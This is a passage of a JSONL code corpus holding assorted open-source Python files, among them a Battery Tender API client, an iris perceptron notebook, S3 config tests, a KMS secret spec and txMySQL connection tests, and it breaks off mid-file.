r.connection.send(auth.prepare(), **kwargs)\n _r.history.append(r)\n _r.request = auth\n\n if _r.status_code == 401:\n raise AuthorizationError(_r)\n\n if _r.status_code != 200:\n return r\n\n data = _r.json()\n self.token = data.get('token')\n self._enc_token = urllib.parse.urlencode({'token': self.token})\n\n if self._callback:\n self._callback(data)\n\n redo = r.request.copy()\n redo.prepare_url(redo.url, {'token': self.token})\n\n _r.content\n _r.close()\n\n return _r.connection.send(redo, **kwargs)\n\n return r\n\n def __call__(self, r):\n if self._enc_token and 'token' not in r.url:\n # NOTE(jkoelker) since this request is prepared, requests has\n # has already validataed the url and raised\n # parse errors. Its ok to just use urllib.parse\n (scheme,\n netloc,\n path,\n params,\n query,\n fragment) = urllib.parse.urlparse(r.url)\n\n if query:\n query = '%s&%s' % (query, self._enc_token)\n else:\n query = self._enc_token\n\n url_tuple = (scheme, netloc, path, params, query, fragment)\n r.url = urllib.parse.urlunparse(url_tuple)\n\n r.register_hook('response', self._handle)\n return r\n\n\nclass BTBase(object):\n def __init__(self, device_id, bt_api):\n self.device_id = device_id\n self._bt_api = bt_api\n\n def __repr__(self):\n return '<%s: %s>' % (self.__class__.__name__, self._repr_name)\n\n @property\n def _repr_name(self):\n return self.device_id\n\n\n# NOTE(jkoelker) This is untested, I do not have a charger\n# PR's welcome.\nclass Charger(BTBase):\n pass\n\n\nclass Monitor(BTBase):\n @property\n def _monitor(self):\n return self._bt_api._monitor(self.device_id).get('monitor', {})\n\n @property\n def current(self):\n c = self._bt_api._monitor(self.device_id)\n\n if not c:\n return {}\n\n if 'date' in c and 'id' in c and 'soc' in c and 'voltage' in c:\n return {'date': c['date'],\n 'id': c['id'],\n 'soc': c['soc'],\n 'voltage': c['voltage']}\n\n return {}\n\n @property\n def created(self):\n return self._monitor.get('createdAt')\n\n @property\n def updated(self):\n return self._monitor.get('updated')\n\n @property\n def name(self):\n return self._monitor.get('name')\n\n @property\n def history(self):\n return self._bt_api._monitor_history(self.device_id)\n\n @property\n def date(self):\n return self._bt_api._monitor(self.device_id).get('date')\n\n @property\n def soc(self):\n return self._bt_api._monitor(self.device_id).get('soc')\n\n @property\n def voltage(self):\n return self._bt_api._monitor(self.device_id).get('voltage')\n\n\nclass BatteryTender(object):\n def __init__(self, email, password, cache_ttl=600):\n self._cache_ttl = cache_ttl\n\n self._charger_cache = ttldict.TTLOrderedDict(self._cache_ttl)\n self._chargers_cache = ttldict.TTLOrderedDict(self._cache_ttl)\n\n self._monitor_cache = ttldict.TTLOrderedDict(self._cache_ttl)\n self._monitors_cache = ttldict.TTLOrderedDict(self._cache_ttl)\n\n def parse_status_history(item):\n status_history = item.get('statusHistory', [])\n parsed = []\n for status in status_history:\n if 'date' in status:\n status['date'] = dateutil.parser.parse(status['date'])\n\n parsed.append(status)\n\n return parsed\n\n def callback(data):\n for monitor in data.get('monitors', []):\n if 'deviceId' not in monitor:\n continue\n\n monitor['statusHistory'] = parse_status_history(monitor)\n self._monitors_cache[monitor['deviceId']] = monitor\n\n # NOTE(jkoelker) This is untested, I do not have a charger\n # PR's welcome.\n for charger in data.get('chargers', []):\n if 'deviceId' not in charger:\n continue\n\n charger['statusHistory'] = parse_status_history(charger)\n self._chargers_cache[charger['deviceId']] = charger\n\n self._session = requests.Session()\n self._session.auth = BatteryTenderAuth(email, password,\n callback=callback)\n\n def _request(self, verb, path, params=None):\n url = '{}{}'.format(HOST, path)\n response = self._session.request(verb, url, params=params,\n allow_redirects=False)\n\n if response.status_code == 200:\n return response.json()\n\n return {}\n\n def _history(self, device_id, cache):\n if device_id not in cache.keys():\n self.refresh_cache()\n\n device = cache.get(device_id, {})\n\n return device.get('statusHistory', [])\n\n def _charger_history(self, device_id):\n return self._history(device_id, self._monitors_cache)\n\n def _monitor_history(self, device_id):\n return self._history(device_id, self._monitors_cache)\n\n @staticmethod\n def _prepare_device(device, key):\n if 'date' in device:\n device['date'] = dateutil.parser.parse(device['date'])\n\n if key in device:\n if 'createdAt' in device[key]:\n created_at = dateutil.parser.parse(device[key]['createdAt'])\n device[key]['createdAt'] = created_at\n\n if 'updatedAt' in device[key]:\n updated_at = dateutil.parser.parse(device[key]['updatedAt'])\n device[key]['updatedAt'] = updated_at\n\n return device\n\n @staticmethod\n def _prepare_charger(charger):\n return BatteryTender._prepare_device(charger, 'charger')\n\n @staticmethod\n def _prepare_monitor(monitor):\n return BatteryTender._prepare_device(monitor, 'monitor')\n\n # NOTE(jkoelker) This is untested, I do not have a charger\n # PR's welcome.\n def _charger(self, device_id):\n if device_id not in self._charger_cache.keys():\n charger = self._request('GET', CHARGER_PATH,\n params={'chargerId': device_id})\n self._charger_cache[device_id] = self._prepare_charger(charger)\n\n return self._charger_cache.get(device_id)\n\n def _monitor(self, device_id):\n if device_id not in self._monitor_cache.keys():\n monitor = self._request('GET', MONITOR_PATH,\n params={'monitorId': device_id})\n self._monitor_cache[device_id] = self._prepare_monitor(monitor)\n\n return self._monitor_cache.get(device_id)\n\n def refresh_cache(self):\n # NOTE(jkoelker) Hit login without the params to trigger\n # initial login and callback\n self._request('POST', AUTHENTICATE_PATH)\n\n @property\n def chargers(self):\n # NOTE(jkoelker) This is untested, I do not have a charger\n # PR's welcome.\n if not self._chargers_cache.keys():\n self.refresh_cache()\n\n return [Charger(c, self) for c in self._chargers_cache.keys()]\n\n @property\n def monitors(self):\n if not self._monitors_cache.keys():\n self.refresh_cache()\n\n return [Monitor(m, self) for m in self._monitors_cache.keys()]\n", "source": "stainlessray/batterytender", "license": "MIT"} {"text": "def voto():\n from datetime import datetime\n nascimento = int(input('Informe o ano de nascimento: '))\n while nascimento > datetime.now().year:\n print('Erro! O ano de nascimento n\u00e3o pode exceder o ano atual.')\n nascimento = int(input('Digite novamente: '))\n if nascimento < datetime.now().year:\n break\n idade = datetime.now().year - nascimento\n if idade > 65 or 15 < idade < 18:\n return print(f'Com {idade} anos: Votar \u00e9 opcional.')\n elif idade >= 18:\n return print(f'Com {idade} anos: Votar \u00e9 obrigat\u00f3rio.')\n else:\n return print(f'Com {idade} anos: N\u00e3o \u00e9 permitido votar.')\n\n\nvoto()\n", "source": "Robert-Marchinhaki/primeiros-passos-Python", "license": "MIT"} {"text": "#!/usr/bin/env python\n# Author: Saya\n# License: MIT\n\nimport rospy\n\nfrom collision_warning import CollisionWarning\nfrom min_dist_detection import MinDistDetection\nfrom sound_min_dist_feedback import SoundMinDistFeedback\n\nclass CollisionPrevention:\n\tdef __init__(self):\n\t\trospy.init_node('collision_prevention', anonymous=True)\n\t\trospy.loginfo(\"full: launching...\")\n\t\tmdt = MinDistDetection()\n\t\tcw = CollisionWarning()\n\t\tsmdf = SoundMinDistFeedback()\n\t\trospy.loginfo(\"full: shutting down\")\n\nif __name__ == '__main__':\n c = CollisionPrevention()\n rospy.spin()", "source": "sayabiws/turtlebot-simple-distance-beep", "license": "MIT"} {"text": "#!/usr/bin/env python\n\n'''\nMain program that converts pcaps to HAR's.\n'''\n\nimport os\nimport optparse\nimport logging\nimport sys\nimport json\n\nfrom pcap2har import pcap\nfrom pcap2har import http\nfrom pcap2har import httpsession\nfrom pcap2har import har\nfrom pcap2har import tcp\nfrom pcap2har import settings\nfrom pcap2har.packetdispatcher import PacketDispatcher\nfrom pcap2har.pcaputil import print_rusage\n\n\n# get cmdline args/options\nparser = optparse.OptionParser(\n usage='usage: %prog inputfile outputfile'\n)\nparser.add_option('--no-pages', action='store_false',\n dest='pages', default=True)\nparser.add_option('-d', '--drop-bodies', action='store_true',\n dest='drop_bodies', default=False)\nparser.add_option('-k', '--keep-unfulfilled-requests', action='store_true',\n dest='keep_unfulfilled', default=False)\nparser.add_option('-r', '--resource-usage', action='store_true',\n dest='resource_usage', default=False)\nparser.add_option('--pad_missing_tcp_data', action='store_true',\n dest='pad_missing_tcp_data', default=False)\nparser.add_option('--strict-http-parsing', action='store_true',\n dest='strict_http_parsing', default=False)\nparser.add_option('-l', '--log', dest='logfile', default='pcap2har.log')\noptions, args = parser.parse_args()\n\n# copy options to settings module\nsettings.process_pages = options.pages\nsettings.drop_bodies = options.drop_bodies\nsettings.keep_unfulfilled_requests = options.keep_unfulfilled\nsettings.pad_missing_tcp_data = options.pad_missing_tcp_data\nsettings.strict_http_parse_body = options.strict_http_parsing\n\n# setup logs\nlogging.basicConfig(filename=options.logfile, level=logging.INFO)\n\n# get filenames, or bail out with usage error\nif len(args) == 2:\n inputfile, outputfile = args[0:2]\nelif len(args) == 1:\n inputfile = args[0]\n outputfile = inputfile+'.har'\nelse:\n parser.print_help()\n sys.exit()\n\nlogging.info('Processing %s', inputfile)\n\n# parse pcap file\ndispatcher = pcap.EasyParsePcap(filename=inputfile)\n\n# parse HAR stuff\nsession = httpsession.HttpSession(dispatcher)\n\nlogging.info('Flows=%d. HTTP pairs=%d' % (len(session.flows), len(session.entries)))\n\n#write the HAR file\nwith open(outputfile, 'w') as f:\n json.dump(session, f, cls=har.JsonReprEncoder, indent=2, encoding='utf8', sort_keys=True)\n\nif options.resource_usage:\n print_rusage()\n", "source": "wadahana/pcap2har", "license": "BSD-2-Clause"} {"text": "\"\"\"\nModule containing tasks regarding quantization of DL models using TFLite.\n\"\"\"\n", "source": "madziejm/dl-in-iot-course-1", "license": "Apache-2.0"} {"text": "# Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"). You\n# may not use this file except in compliance with the License. A copy of\n# the License is located at\n#\n# http://aws.amazon.com/apache2.0/\n#\n# or in the \"license\" file accompanying this file. This file is\n# distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF\n# ANY KIND, either express or implied. See the License for the specific\n# language governing permissions and limitations under the License.\n\nimport pytest\nfrom scipy.sparse import csr_matrix\n\nfrom sklearn import datasets\nfrom sklearn.decomposition import PCA, TruncatedSVD\nfrom sklearn.utils.testing import assert_array_almost_equal\n\nfrom sagemaker_sklearn_extension.decomposition import RobustPCA\n\n\nX_iris = datasets.load_iris().data\nX_iris_sparse = csr_matrix(X_iris)\n\n\n@pytest.mark.parametrize(\n [\"X\", \"n_components\", \"X_expected\"],\n [\n # Dense input\n (X_iris, 2, PCA(n_components=2).fit_transform(X_iris)),\n # Sparse input\n (X_iris_sparse, 2, TruncatedSVD().fit_transform(X_iris_sparse)),\n # n_components > X.shape[1], no dimension reduction\n (X_iris, 1000, X_iris),\n ],\n)\ndef test_svd(X, n_components, X_expected):\n svd = RobustPCA(n_components=n_components)\n X_observed = svd.fit_transform(X)\n\n assert_array_almost_equal(X_observed, X_expected)\n", "source": "perunicic/sagemaker-scikit-learn-extension", "license": "Apache-2.0"} {"text": "# Copyright (c) 2020 SBA - MIT License\n\nfrom .selector import MockSelector, MockSocket, ListenSocket\ntry:\n from .version import version as __version__\nexcept ImportError:\n # be conservative if version.py could not be generated\n # as it might happen on some CI platforms...\n __version__ = '0.0.0'\n__all__ = [MockSocket, MockSelector, ListenSocket]\n", "source": "s-ball/MockSelector", "license": "MIT"} {"text": "from planet.models import PlanetFeed, PlanetFeedAdmin\nfrom django.contrib import admin\n\nadmin.site.register(PlanetFeed, PlanetFeedAdmin)\n", "source": "Dikutal/Dikutal", "license": "MIT"} {"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nfrom sklearn.datasets import load_iris \nimport pandas as pd\nimport numpy as np\nimport pickle\n\nfrom sklearn.linear_model import Perceptron\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\n\n\n# In[ ]:\n\n\n# method used for saving object as pickle\ndef save_object_as_pickle(obj, filename):\n with open(filename, 'wb') as file:\n pickle.dump(obj, file, pickle.HIGHEST_PROTOCOL)\n\n\n# ### Load the data\n\n# In[ ]:\n\n\niris = load_iris(as_frame=True)\n\n\n# In[ ]:\n\n\npd.concat([iris.data, iris.target], axis=1).plot.scatter(\n x='petal length (cm)',\n y='petal width (cm)',\n c='target',\n colormap='viridis'\n)\n\n\n# In[ ]:\n\n\niris.data\n\n\n# In[ ]:\n\n\nX = iris.data[['petal length (cm)','petal width (cm)']]\ny = iris.target\n\n\n# In[ ]:\n\n\nX_train, X_test, y_train, y_test= train_test_split(X, y, test_size=0.2)\n\n\n# In[ ]:\n\n\ny_train_0 = (y_train == 0).astype(int)\ny_test_0 = (y_test == 0).astype(int)\n\n\n# #### for 0 target value\n\n# In[ ]:\n\n\n# for 0 target value\nper_clf_0 = Perceptron()\nper_clf_0.fit(X_train, y_train_0)\n\n\n# In[ ]:\n\n\ny_pred_train_0 = per_clf_0.predict(X_train)\ny_pred_test_0 = per_clf_0.predict(X_test)\n\n\n# In[ ]:\n\n\nacc_train_0 = accuracy_score(y_train_0, y_pred_train_0)\nacc_test_0 = accuracy_score(y_test_0, y_pred_test_0)\nprint(\"acc_train_0\", acc_train_0)\nprint(\"acc_test_0\", acc_test_0)\n\n\n# #### for 1 target value\n\n# In[ ]:\n\n\ny_train_1 = (y_train == 1).astype(int)\ny_test_1 = (y_test == 1).astype(int)\n\n\n# In[ ]:\n\n\n# for 1 target value\nper_clf_1 = Perceptron()\nper_clf_1.fit(X_train, y_train_1)\n\n\n# In[ ]:\n\n\ny_pred_train_1 = per_clf_1.predict(X_train)\ny_pred_test_1 = per_clf_1.predict(X_test)\n\n\n# In[ ]:\n\n\nacc_train_1 = accuracy_score(y_train_1, y_pred_train_1)\nacc_test_1 = accuracy_score(y_test_1, y_pred_test_1)\nprint(\"acc_train_1\", acc_train_1)\nprint(\"acc_test_1\", acc_test_1)\n\n\n# #### for 2 target value\n\n# In[ ]:\n\n\ny_train_2 = (y_train == 2).astype(int)\ny_test_2 = (y_test == 2).astype(int)\n\n\n# In[ ]:\n\n\n# for 2 target value\nper_clf_2 = Perceptron()\nper_clf_2.fit(X_train, y_train_2)\n\n\n# In[ ]:\n\n\ny_pred_train_2 = per_clf_2.predict(X_train)\ny_pred_test_2 = per_clf_2.predict(X_test)\n\n\n# In[ ]:\n\n\nacc_train_2 = accuracy_score(y_train_2, y_pred_train_2)\nacc_test_2 = accuracy_score(y_test_2, y_pred_test_2)\nprint(\"acc_train_2\", acc_train_2)\nprint(\"acc_test_2\", acc_test_2)\n\n\n# #### weights\n\n# In[ ]:\n\n\nprint(\"0: bias weight\", per_clf_0.intercept_)\nprint(\"Input weights (w1, w2): \", per_clf_0.coef_)\n\n\n# In[ ]:\n\n\nprint(\"1: bias weight\", per_clf_1.intercept_)\nprint(\"Input weights (w1, w2): \", per_clf_1.coef_)\n\n\n# In[ ]:\n\n\nprint(\"0: bias weight\", per_clf_2.intercept_)\nprint(\"Input weights (w1, w2): \", per_clf_2.coef_)\n\n\n# #### Save accuracy lists and weight tuple in the pickles\n\n# In[ ]:\n\n\n# accuracy\nper_acc = [(acc_train_0, acc_test_0), (acc_train_1, acc_test_1), (acc_train_2, acc_test_2)]\nfilename = \"per_acc.pkl\"\nsave_object_as_pickle(per_acc, filename)\nprint(\"per_acc\\n\", per_acc)\n\n\n# In[ ]:\n\n\n# weights\nper_wght = [(per_clf_0.intercept_[0], per_clf_0.coef_[0][0], per_clf_0.coef_[0][1]), (per_clf_1.intercept_[0], per_clf_1.coef_[0][0], per_clf_1.coef_[0][1]), (per_clf_2.intercept_[0], per_clf_2.coef_[0][0], per_clf_2.coef_[0][1])]\nfilename = \"per_wght.pkl\"\nsave_object_as_pickle(per_wght, filename)\nprint(\"per_wght\\n\", per_wght)\n\n\n# ### Perceptron, XOR\n\n# In[ ]:\n\n\nX = np.array([[0, 0],\n [0, 1],\n [1, 0],\n [1, 1]])\ny = np.array([0,\n 1, \n 1, \n 0])\n\n\n# In[ ]:\n\n\nper_clf_xor = Perceptron()\nper_clf_xor.fit(X, y)\n\n\n# In[ ]:\n\n\npred_xor = per_clf_xor.predict(X)\nxor_acc = accuracy_score(y, pred_xor)\n\nprint(\"xor_accuracy:\", xor_acc)\n\n\n# In[ ]:\n\n\nprint(\"XOR: bias weight\", per_clf_xor.intercept_)\nprint(\"Input weights (w1, w2): \", per_clf_xor.coef_)\n\n\n# ### 2nd Perceprton, XOR\n\n# In[ ]:\n\n\nimport tensorflow as tf\nfrom tensorflow import keras\n\n\n# In[ ]:\n\n\nwhile True:\n model = keras.models.Sequential()\n\n model.add(keras.layers.Dense(2, activation=\"relu\", input_dim=2))\n model.add(keras.layers.Dense(1, activation=\"sigmoid\"))\n\n model.compile(loss=tf.keras.losses.BinaryCrossentropy(), \n optimizer=tf.keras.optimizers.Adam(learning_rate=0.085), \n metrics=[\"binary_accuracy\"])\n\n history = model.fit(X, y, epochs=100, verbose=False)\n predict_prob=model.predict(X)\n print(predict_prob)\n print(history.history['binary_accuracy'][-1])\n if predict_prob[0] < 0.1 and predict_prob[1] > 0.9 and predict_prob[2] > 0.9 and predict_prob[3] < 0.1:\n weights = model.get_weights()\n break\n\n\n# ### Save data to pickle\n\n# In[ ]:\n\n\nprint(\"weights\\n\", weights)\n\n\n# In[ ]:\n\n\nfilename = \"mlp_xor_weights.pkl\"\nsave_object_as_pickle(weights, filename)\n\n\n# ### Check saved Pickles contents\n\n# In[ ]:\n\n\n# check if pickles' contents are saved correctly\n\nprint(\"per_acc.pkl\\n\", pd.read_pickle(\"per_acc.pkl\"), \"\\n\")\nprint(\"per_wght.pkl\\n\", pd.read_pickle(\"per_wght.pkl\"), \"\\n\")\nprint(\"mlp_xor_weights.pkl\\n\", pd.read_pickle(\"mlp_xor_weights.pkl\"), \"\\n\")\n\n", "source": "YgLK/ML", "license": "MIT"} {"text": "''' \nData list contains all users info. Each user's info must be a list.\n First Element: 0 (int)\n Second Element: name (str)\n Third Element: username (str)\n Fourth Element: toph link (str)\n Fifth Element: dimik link (str)\n Sixth Element: uri link (str)\nNote: If any user does not have an account leave there an empty string.\n'''\ndata = [\n [0, \"Mahinul Islam\", \"mahin\", \"\", \"\",\n \"https://urionlinejudge.com.br/judge/en/profile/239509\"],\n [0, \"Majedul Islam\", \"majed\", \"\", \"\",\n \"https://urionlinejudge.com.br/judge/en/profile/229317\"],\n [0, \"Md. Mushfiqur Rahman\", \"mdvirus\", \"https://toph.co/u/mdvirus\",\n \"https://dimikoj.com/users/53/mdvirus\", \"https://urionlinejudge.com.br/judge/en/profile/223624\"],\n [0, \"Md. Shazzad Hossein Shakib\", \"HackersBoss\",\n \"https://toph.co/u/HackersBoss\", \"\", \"\"],\n [0, \"Abdullah Al Mukit\", \"newbie_mukit\", \"https://toph.co/u/newbie_mukit\",\n \"\", \"https://urionlinejudge.com.br/judge/en/profile/228785\"],\n [0, \"Md. Toukir Ahammed\", \"toukir48bit\",\n \"https://toph.co/u/toukir48bit\", \"\", \"\"],\n [0, \"Md. Sifat Al Imtiaz\", \"SifatTheCoder\",\n \"https://toph.co/u/SifatTheCoder\", \"\", \"\"],\n [0, \"Mojahidul Islam Rakib\", \"HelloRakib\",\n \"https://toph.co/u/HelloRakib\", \"\", \"\"],\n [0, \"Md. Forhad Islam\", \"fiveG_coder\",\n \"https://toph.co/u/fiveG_coder\", \"\", \"\"],\n [0, \"Most Rumana Akter Rupa\", \"programmer_upa\",\n \"https://toph.co/u/programmer_upa\", \"\", \"\"],\n [0, \"Most Keya Akter\", \"Uniqe_coder\",\n \"https://toph.co/u/Uniqe_coder\", \"\", \"\"],\n [0, \"Most Nargiz Akter\", \"Simple_coder\",\n \"https://toph.co/u/Simple_coder\", \"\", \"\"],\n [0, \"Most Masuda Akter Momota\", \"itsmomota\",\n \"https://toph.co/u/itsmomota\", \"\", \"\"],\n [0, \"Lutfor Rahman\", \"Scanfl\", \"https://toph.co/u/Scanfl\", \"\", \"\"],\n [0, \"Most Aysha Akter Borsha\", \"Smart_coder\",\n \"https://toph.co/u/Smart_coder\", \"\", \"\"]\n]\n", "source": "mdgaziur/Ranky", "license": "MIT"} {"text": "import requests\nimport os\nfrom dotenv import load_dotenv\nload_dotenv()\n\n\ndef notify(message, event=\"coegan_epoch_ended\", ifttt_key=os.getenv(\"IFTTT_WEBHOOK_KEY\")):\n if ifttt_key is None:\n return\n report = {'value1': message}\n requests.post(f\"https://maker.ifttt.com/trigger/{event}/with/key/{ifttt_key}\", data=report)\n", "source": "vfcosta/coegan-trained", "license": "MIT"} {"text": "# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License.\n\nimport os\nimport sysconfig\nimport shutil\nfrom setuptools import setup, Extension\nfrom setuptools.command.build_ext import build_ext\n\next_path_rel = os.path.join('confonnx', 'confonnx_py' + sysconfig.get_config_var('EXT_SUFFIX'))\next_path = os.path.join(os.path.dirname(__file__), ext_path_rel)\n\n\nclass my_build_ext(build_ext):\n ''' Makes the CMake-built Python extension module available to setuptools '''\n def build_extension(self, ext):\n build_temp_path = self.get_ext_fullpath(ext.name)\n print(\"copying {} -> {}\".format(ext_path_rel, build_temp_path))\n shutil.copyfile(ext_path, build_temp_path)\n\nsetup(\n name='confonnx',\n version='0.1.0',\n description='TBD',\n packages=['confonnx'],\n ext_modules = [Extension(\"confonnx.confonnx_py\", sources=[])],\n cmdclass = {\n 'build_ext': my_build_ext,\n },\n python_requires='>=3.3',\n install_requires=[\n 'six',\n 'requests',\n 'numpy',\n 'onnx',\n 'onnxruntime',\n 'protobuf',\n 'tabulate',\n 'pycryptodome'\n ]\n)", "source": "kapilvgit/onnx-server-openenclave", "license": "MIT"} {"text": "import json\nimport os\nimport unittest\nimport uuid\n\nimport boto3\n\nfrom helper import config\n\n\nclass ConfigDefaultTests(unittest.TestCase):\n\n def setUp(self):\n self.config = config.Config()\n\n def test_application(self):\n self.assertDictEqual(self.config.application, config.APPLICATION)\n\n def test_daemon(self):\n self.assertDictEqual(self.config.daemon, config.DAEMON)\n\n def test_logging(self):\n self.assertDictEqual(self.config.logging, config.LOGGING)\n\n\nclass RemoteConfigTests(unittest.TestCase):\n\n def setUp(self):\n self.value = {\n 'Application': {\n 'key': str(uuid.uuid4())\n },\n 'Daemon': {\n 'user': str(uuid.uuid4()),\n 'group': str(uuid.uuid4())\n },\n 'Logging': {\n 'disable_existing_loggers': False,\n 'incremental': True}\n }\n self.bucket = str(uuid.uuid4())\n client = boto3.client('s3', endpoint_url=os.environ['S3_ENDPOINT'])\n client.create_bucket(Bucket=self.bucket)\n client.put_object(\n Bucket=self.bucket, Key='test.json',\n Body=json.dumps(self.value),\n ACL='public-read')\n\n def test_loaded_config(self):\n cfg = config.Config('{}/{}/test.json'.format(\n os.environ['S3_ENDPOINT'], self.bucket))\n for key in self.value['Application'].keys():\n self.assertEqual(cfg.application[key],\n self.value['Application'][key])\n for key in self.value['Daemon'].keys():\n self.assertEqual(cfg.daemon[key],\n self.value['Daemon'][key])\n for key in self.value['Logging'].keys():\n self.assertEqual(cfg.logging[key],\n self.value['Logging'][key])\n\n def test_value_error_raised_for_missing_file(self):\n with self.assertRaises(ValueError):\n config.Config('{}/{}/{}.json'.format(os.environ['S3_ENDPOINT'],\n self.bucket, uuid.uuid4()))\n\n\nclass S3ConfigTests(RemoteConfigTests):\n\n def test_loaded_config(self):\n cfg = config.Config('s3://{}/test.json'.format(self.bucket))\n for key in self.value['Application'].keys():\n self.assertEqual(cfg.application[key],\n self.value['Application'][key])\n for key in self.value['Daemon'].keys():\n self.assertEqual(cfg.daemon[key],\n self.value['Daemon'][key])\n for key in self.value['Logging'].keys():\n self.assertEqual(cfg.logging[key],\n self.value['Logging'][key])\n\n def test_value_error_raised_for_missing_file(self):\n with self.assertRaises(ValueError):\n config.Config('s3://{}/{}.json'.format(self.bucket, uuid.uuid4()))\n", "source": "joshehlinger/helper", "license": "BSD-3-Clause"} {"text": "from dashmat.core_modules.base import Module\n\nfrom input_algorithms.errors import BadSpecValue\nfrom input_algorithms import spec_base as sb\nimport logging\nimport base64\n\nclass kms_secret_spec(sb.Spec):\n def normalise(self, meta, val):\n val = sb.dictionary_spec().normalise(meta, val)\n if \"plain\" in val:\n return val[\"plain\"]\n elif \"kms\" in val:\n val = sb.set_options(\n kms = sb.required(sb.string_spec())\n , location = sb.required(sb.string_spec())\n ).normalise(meta, val)\n return lambda: __import__(\"boto3\").client(\"kms\", val['location']).decrypt(CiphertextBlob=base64.b64decode(val['kms']))['Plaintext'].decode('utf-8')\n\nclass AmazonBase(Module):\n @classmethod\n def requirements(kls):\n return [\"boto3\"]\n\n @classmethod\n def register_configuration(kls):\n return {(0, \"kms_secrets\"): sb.dictof(sb.string_spec(), kms_secret_spec())}\n\n", "source": "realestate-com-au/dashmat", "license": "MIT"} {"text": "\"\"\"\nTest txMySQL against a local MySQL server\n\nThis test requires 'sudo' without a password, and expects a stock Ubuntu 10.04\nMySQL setup. It will start and stop MySQL and occasionally replace it with an\nevil daemon which absorbs packets.\n\nTODO: Check code coverage for every line, then manually any compound expression\nin a conditional to check that there is test case coverage for each case.\n\"\"\"\n\nfrom twisted.trial import unittest\nfrom twisted.internet import defer, reactor\nfrom twisted.internet.base import DelayedCall\nfrom twisted.internet.error import ConnectionDone\n\nDelayedCall.debug = False\nfrom txmysql import client\nfrom HybridUtils import AsyncExecCmds, sleep\nimport secrets\n\nclass MySQLClientTest(unittest.TestCase):\n\n @defer.inlineCallbacks\n def test_0004_cleanup_prepared_statements(self):\n \"\"\"\n Checks that when there are no pending or current operations that we\n disconnect and stay disconnected.\n You must set max_prepared_stmt_count = 100 in /etc/mysql/my.cnf for\n this to actually get tested.\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql()\n for i in range(200):\n if i % 100 == 0:\n print 'Done %i queries' % i\n res = yield conn.runQuery(\"select 1\")\n self.assertEquals(res, [[1]])\n conn.disconnect()\n\n @defer.inlineCallbacks\n def test_0005_query_timeout_stay_disconnected(self):\n \"\"\"\n Checks that when there are no pending or current operations that we\n disconnect and stay disconnected\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True, idle_timeout=2)\n res = yield conn.runQuery(\"select 1\")\n yield sleep(6)\n self.assertIdentical(conn.client, None)\n conn.disconnect()\n \n @defer.inlineCallbacks\n def test_0010_two_queries_disconnected(self):\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True, idle_timeout=1)\n yield conn.runQuery(\"select 1\")\n yield sleep(2)\n a = conn.runQuery(\"select 2\")\n b = conn.runQuery(\"select 3\")\n a, b = yield defer.gatherResults([a, b])\n self.assertEquals(a, [[2]])\n self.assertEquals(b, [[3]])\n self.assertEquals((yield conn.runQuery(\"select 4\")), [[4]])\n conn.disconnect()\n\n @defer.inlineCallbacks\n def test_0020_start_query_restart(self):\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True, idle_timeout=2)\n result = yield conn.runQuery(\"select 2\")\n #yield self._stop_mysql()\n #yield self._start_mysql()\n yield sleep(10)\n conn.disconnect()\n self.assertEquals(result, [[2]])\n\n def test_0030_escaping(self):\n try:\n client._escape(\"%s\", ())\n self.fail(\"that should have raised an exception\")\n except TypeError:\n pass\n\n try:\n client._escape(\"select * from baz baz baz\", (1, 2, 3))\n self.fail(\"that should have raised an exception\")\n except TypeError:\n pass\n\n result = client._escape(\"update foo set bar=%s where baz=%s or bash=%s\", (\"%s\", \"%%s\", 123))\n self.assertEquals(result, \"update foo set bar='%s' where baz='%%s' or bash='123'\")\n\n @defer.inlineCallbacks\n def test_0040_thrash(self):\n yield self._start_mysql()\n conn = self._connect_mysql(retry_on_error=True)\n yield conn.runOperation(\"drop table if exists thrashtest\")\n yield conn.runOperation(\"create table thrashtest (id int)\")\n\n dlist = []\n for i in range(100):\n dlist.append(conn.runOperation(\"insert into thrashtest values (%s)\", [i]))\n yield defer.DeferredList(dlist)\n\n dlist = []\n for i in range(50):\n print \"Appending %i\" % i\n dlist.append(conn.runQuery(\"select sleep(0.1)\"))\n dlist.append(conn.runQuery(\"select * from thrashtest where id=%s\", [i]))\n\n yield sleep(3)\n\n print \"About to stop MySQL\"\n dstop = self._stop_mysql()\n def and_start(data):\n print \"About to start MySQL\"\n return self._start_mysql()\n dstop.addCallback(and_start)\n \n for i in range(50,100):\n print \"Appending %i\" % i\n dlist.append(conn.runQuery(\"select sleep(0.1)\"))\n dlist.append(conn.runQuery(\"select * from thrashtest where id=%s\", [i]))\n\n results = yield defer.DeferredList(dlist)\n print results\n\n conn.disconnect()\n #self.assertEquals(result, [[1]])\n\n\n @defer.inlineCallbacks\n def test_0050_test_initial_database_selection(self):\n \"\"\"\n 1. Start MySQL\n 2. Connect\n 3. Query - check result\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql()\n result = yield conn.runQuery(\"select * from foo\")\n conn.disconnect()\n self.assertEquals(result, [[1]])\n\n @defer.inlineCallbacks\n def test_0100_start_connect_query(self):\n \"\"\"\n 1. Start MySQL\n 2. Connect\n 3. Query - check result\n \"\"\"\n yield self._start_mysql()\n conn = self._connect_mysql()\n result = yield conn.runQuery(\"select 2\")\n conn.disconnect()\n self.assertEquals(result, [[2]])\n\n @defer.inlineCallbacks\n def test_0200_stop_connect_query_start(self):\n \"\"\"\n 1. Connect, before MySQL is started\n 2. Start MySQL\n 3. Query - check result\n XXX The comment is correct but the code is wrong!\n \"\"\"\n conn = self._connect_mysql()\n d = conn.runQuery(\"select 2\") # Should get connection refused, because we're not connected right now\n yield self._start_mysql()\n result = yield d\n conn.disconnect()\n self.assertEquals(result, [[2]])\n\n @defer.inlineCallbacks\n def test_0210_stop_connect_query_start_retry_on_error(self):\n \"\"\"\n 1. Connect, before MySQL is started\n 2. Start MySQL\n 3. Query - check result\n \"\"\"\n conn = self._connect_mysql(retry_on_error=True)\n d = conn.runQuery(\"select 2\")\n yield self._start_mysql()\n result = yield d\n conn.disconnect()\n self.assertEquals(result, [[2]])\n\n @defer.inlineCallbacks\n def 